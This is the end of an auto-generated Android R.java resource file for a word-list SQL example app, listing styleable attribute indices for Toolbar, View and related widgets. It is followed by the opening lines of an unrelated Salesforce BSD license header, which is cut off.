@attr name com.android.example.wordlistsql:errorEnabled
*/
public static final int TextInputLayout_errorEnabled = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#errorTextAppearance}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:errorTextAppearance
*/
public static final int TextInputLayout_errorTextAppearance = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#hintAnimationEnabled}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:hintAnimationEnabled
*/
public static final int TextInputLayout_hintAnimationEnabled = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#hintEnabled}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:hintEnabled
*/
public static final int TextInputLayout_hintEnabled = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#hintTextAppearance}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:hintTextAppearance
*/
public static final int TextInputLayout_hintTextAppearance = 2;
/** Attributes that can be used with a Toolbar.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #Toolbar_android_gravity android:gravity}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_android_minHeight android:minHeight}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_buttonGravity com.android.example.wordlistsql:buttonGravity}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_collapseContentDescription com.android.example.wordlistsql:collapseContentDescription}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_collapseIcon com.android.example.wordlistsql:collapseIcon}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_contentInsetEnd com.android.example.wordlistsql:contentInsetEnd}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_contentInsetEndWithActions com.android.example.wordlistsql:contentInsetEndWithActions}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_contentInsetLeft com.android.example.wordlistsql:contentInsetLeft}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_contentInsetRight com.android.example.wordlistsql:contentInsetRight}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_contentInsetStart com.android.example.wordlistsql:contentInsetStart}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_contentInsetStartWithNavigation com.android.example.wordlistsql:contentInsetStartWithNavigation}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_logo com.android.example.wordlistsql:logo}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_logoDescription com.android.example.wordlistsql:logoDescription}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_maxButtonHeight com.android.example.wordlistsql:maxButtonHeight}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_navigationContentDescription com.android.example.wordlistsql:navigationContentDescription}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_navigationIcon com.android.example.wordlistsql:navigationIcon}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_popupTheme com.android.example.wordlistsql:popupTheme}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_subtitle com.android.example.wordlistsql:subtitle}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_subtitleTextAppearance com.android.example.wordlistsql:subtitleTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_subtitleTextColor com.android.example.wordlistsql:subtitleTextColor}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_title com.android.example.wordlistsql:title}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleMargin com.android.example.wordlistsql:titleMargin}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleMarginBottom com.android.example.wordlistsql:titleMarginBottom}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleMarginEnd com.android.example.wordlistsql:titleMarginEnd}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleMarginStart com.android.example.wordlistsql:titleMarginStart}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleMarginTop com.android.example.wordlistsql:titleMarginTop}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleMargins com.android.example.wordlistsql:titleMargins}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleTextAppearance com.android.example.wordlistsql:titleTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #Toolbar_titleTextColor com.android.example.wordlistsql:titleTextColor}</code></td><td></td></tr>
</table>
@see #Toolbar_android_gravity
@see #Toolbar_android_minHeight
@see #Toolbar_buttonGravity
@see #Toolbar_collapseContentDescription
@see #Toolbar_collapseIcon
@see #Toolbar_contentInsetEnd
@see #Toolbar_contentInsetEndWithActions
@see #Toolbar_contentInsetLeft
@see #Toolbar_contentInsetRight
@see #Toolbar_contentInsetStart
@see #Toolbar_contentInsetStartWithNavigation
@see #Toolbar_logo
@see #Toolbar_logoDescription
@see #Toolbar_maxButtonHeight
@see #Toolbar_navigationContentDescription
@see #Toolbar_navigationIcon
@see #Toolbar_popupTheme
@see #Toolbar_subtitle
@see #Toolbar_subtitleTextAppearance
@see #Toolbar_subtitleTextColor
@see #Toolbar_title
@see #Toolbar_titleMargin
@see #Toolbar_titleMarginBottom
@see #Toolbar_titleMarginEnd
@see #Toolbar_titleMarginStart
@see #Toolbar_titleMarginTop
@see #Toolbar_titleMargins
@see #Toolbar_titleTextAppearance
@see #Toolbar_titleTextColor
*/
public static final int[] Toolbar = {
0x010100af, 0x01010140, 0x7f010003, 0x7f010006,
0x7f01000a, 0x7f010016, 0x7f010017, 0x7f010018,
0x7f010019, 0x7f01001a, 0x7f01001b, 0x7f01001d,
0x7f010119, 0x7f01011a, 0x7f01011b, 0x7f01011c,
0x7f01011d, 0x7f01011e, 0x7f01011f, 0x7f010120,
0x7f010121, 0x7f010122, 0x7f010123, 0x7f010124,
0x7f010125, 0x7f010126, 0x7f010127, 0x7f010128,
0x7f010129
};
/**
<p>This symbol is the offset where the {@link android.R.attr#gravity}
attribute's value can be found in the {@link #Toolbar} array.
@attr name android:gravity
*/
public static final int Toolbar_android_gravity = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#minHeight}
attribute's value can be found in the {@link #Toolbar} array.
@attr name android:minHeight
*/
public static final int Toolbar_android_minHeight = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonGravity}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:buttonGravity
*/
public static final int Toolbar_buttonGravity = 21;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#collapseContentDescription}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:collapseContentDescription
*/
public static final int Toolbar_collapseContentDescription = 23;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#collapseIcon}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:collapseIcon
*/
public static final int Toolbar_collapseIcon = 22;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetEnd}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetEnd
*/
public static final int Toolbar_contentInsetEnd = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetEndWithActions}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetEndWithActions
*/
public static final int Toolbar_contentInsetEndWithActions = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetLeft}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetLeft
*/
public static final int Toolbar_contentInsetLeft = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetRight}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetRight
*/
public static final int Toolbar_contentInsetRight = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetStart}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetStart
*/
public static final int Toolbar_contentInsetStart = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#contentInsetStartWithNavigation}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:contentInsetStartWithNavigation
*/
public static final int Toolbar_contentInsetStartWithNavigation = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#logo}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:logo
*/
public static final int Toolbar_logo = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#logoDescription}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:logoDescription
*/
public static final int Toolbar_logoDescription = 26;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#maxButtonHeight}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:maxButtonHeight
*/
public static final int Toolbar_maxButtonHeight = 20;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#navigationContentDescription}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:navigationContentDescription
*/
public static final int Toolbar_navigationContentDescription = 25;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#navigationIcon}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:navigationIcon
*/
public static final int Toolbar_navigationIcon = 24;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#popupTheme}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:popupTheme
*/
public static final int Toolbar_popupTheme = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subtitle}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:subtitle
*/
public static final int Toolbar_subtitle = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subtitleTextAppearance}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:subtitleTextAppearance
*/
public static final int Toolbar_subtitleTextAppearance = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subtitleTextColor}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:subtitleTextColor
*/
public static final int Toolbar_subtitleTextColor = 28;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#title}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:title
*/
public static final int Toolbar_title = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleMargin}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleMargin
*/
public static final int Toolbar_titleMargin = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleMarginBottom}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleMarginBottom
*/
public static final int Toolbar_titleMarginBottom = 18;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleMarginEnd}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleMarginEnd
*/
public static final int Toolbar_titleMarginEnd = 16;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleMarginStart}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleMarginStart
*/
public static final int Toolbar_titleMarginStart = 15;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleMarginTop}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleMarginTop
*/
public static final int Toolbar_titleMarginTop = 17;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleMargins}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleMargins
*/
public static final int Toolbar_titleMargins = 19;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleTextAppearance}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:titleTextAppearance
*/
public static final int Toolbar_titleTextAppearance = 12;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleTextColor}
attribute's value can be found in the {@link #Toolbar} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:titleTextColor
*/
public static final int Toolbar_titleTextColor = 27;
/** Attributes that can be used with a View.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #View_android_focusable android:focusable}</code></td><td></td></tr>
<tr><td><code>{@link #View_android_theme android:theme}</code></td><td></td></tr>
<tr><td><code>{@link #View_paddingEnd com.android.example.wordlistsql:paddingEnd}</code></td><td></td></tr>
<tr><td><code>{@link #View_paddingStart com.android.example.wordlistsql:paddingStart}</code></td><td></td></tr>
<tr><td><code>{@link #View_theme com.android.example.wordlistsql:theme}</code></td><td></td></tr>
</table>
@see #View_android_focusable
@see #View_android_theme
@see #View_paddingEnd
@see #View_paddingStart
@see #View_theme
*/
public static final int[] View = {
0x01010000, 0x010100da, 0x7f01012a, 0x7f01012b,
0x7f01012c
};
/**
<p>This symbol is the offset where the {@link android.R.attr#focusable}
attribute's value can be found in the {@link #View} array.
@attr name android:focusable
*/
public static final int View_android_focusable = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#theme}
attribute's value can be found in the {@link #View} array.
@attr name android:theme
*/
public static final int View_android_theme = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#paddingEnd}
attribute's value can be found in the {@link #View} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:paddingEnd
*/
public static final int View_paddingEnd = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#paddingStart}
attribute's value can be found in the {@link #View} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:paddingStart
*/
public static final int View_paddingStart = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#theme}
attribute's value can be found in the {@link #View} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:theme
*/
public static final int View_theme = 4;
/** Attributes that can be used with a ViewBackgroundHelper.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ViewBackgroundHelper_android_background android:background}</code></td><td></td></tr>
<tr><td><code>{@link #ViewBackgroundHelper_backgroundTint com.android.example.wordlistsql:backgroundTint}</code></td><td></td></tr>
<tr><td><code>{@link #ViewBackgroundHelper_backgroundTintMode com.android.example.wordlistsql:backgroundTintMode}</code></td><td></td></tr>
</table>
@see #ViewBackgroundHelper_android_background
@see #ViewBackgroundHelper_backgroundTint
@see #ViewBackgroundHelper_backgroundTintMode
*/
public static final int[] ViewBackgroundHelper = {
0x010100d4, 0x7f01012d, 0x7f01012e
};
/**
<p>This symbol is the offset where the {@link android.R.attr#background}
attribute's value can be found in the {@link #ViewBackgroundHelper} array.
@attr name android:background
*/
public static final int ViewBackgroundHelper_android_background = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundTint}
attribute's value can be found in the {@link #ViewBackgroundHelper} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:backgroundTint
*/
public static final int ViewBackgroundHelper_backgroundTint = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundTintMode}
attribute's value can be found in the {@link #ViewBackgroundHelper} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:backgroundTintMode
*/
public static final int ViewBackgroundHelper_backgroundTintMode = 2;
/** Attributes that can be used with a ViewStubCompat.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ViewStubCompat_android_id android:id}</code></td><td></td></tr>
<tr><td><code>{@link #ViewStubCompat_android_inflatedId android:inflatedId}</code></td><td></td></tr>
<tr><td><code>{@link #ViewStubCompat_android_layout android:layout}</code></td><td></td></tr>
</table>
@see #ViewStubCompat_android_id
@see #ViewStubCompat_android_inflatedId
@see #ViewStubCompat_android_layout
*/
public static final int[] ViewStubCompat = {
0x010100d0, 0x010100f2, 0x010100f3
};
/**
<p>This symbol is the offset where the {@link android.R.attr#id}
attribute's value can be found in the {@link #ViewStubCompat} array.
@attr name android:id
*/
public static final int ViewStubCompat_android_id = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#inflatedId}
attribute's value can be found in the {@link #ViewStubCompat} array.
@attr name android:inflatedId
*/
public static final int ViewStubCompat_android_inflatedId = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#layout}
attribute's value can be found in the {@link #ViewStubCompat} array.
@attr name android:layout
*/
public static final int ViewStubCompat_android_layout = 1;
};
}
|
/*
* Copyright (c) 2016, Salesforce.com, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided
* that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the
* following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and
* the following disclaimer in the documentation and/or other materials provided with the distribution.
*
* Neither the name of Salesforce.com, Inc. nor the names of its contributors may be used to endorse or
* promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
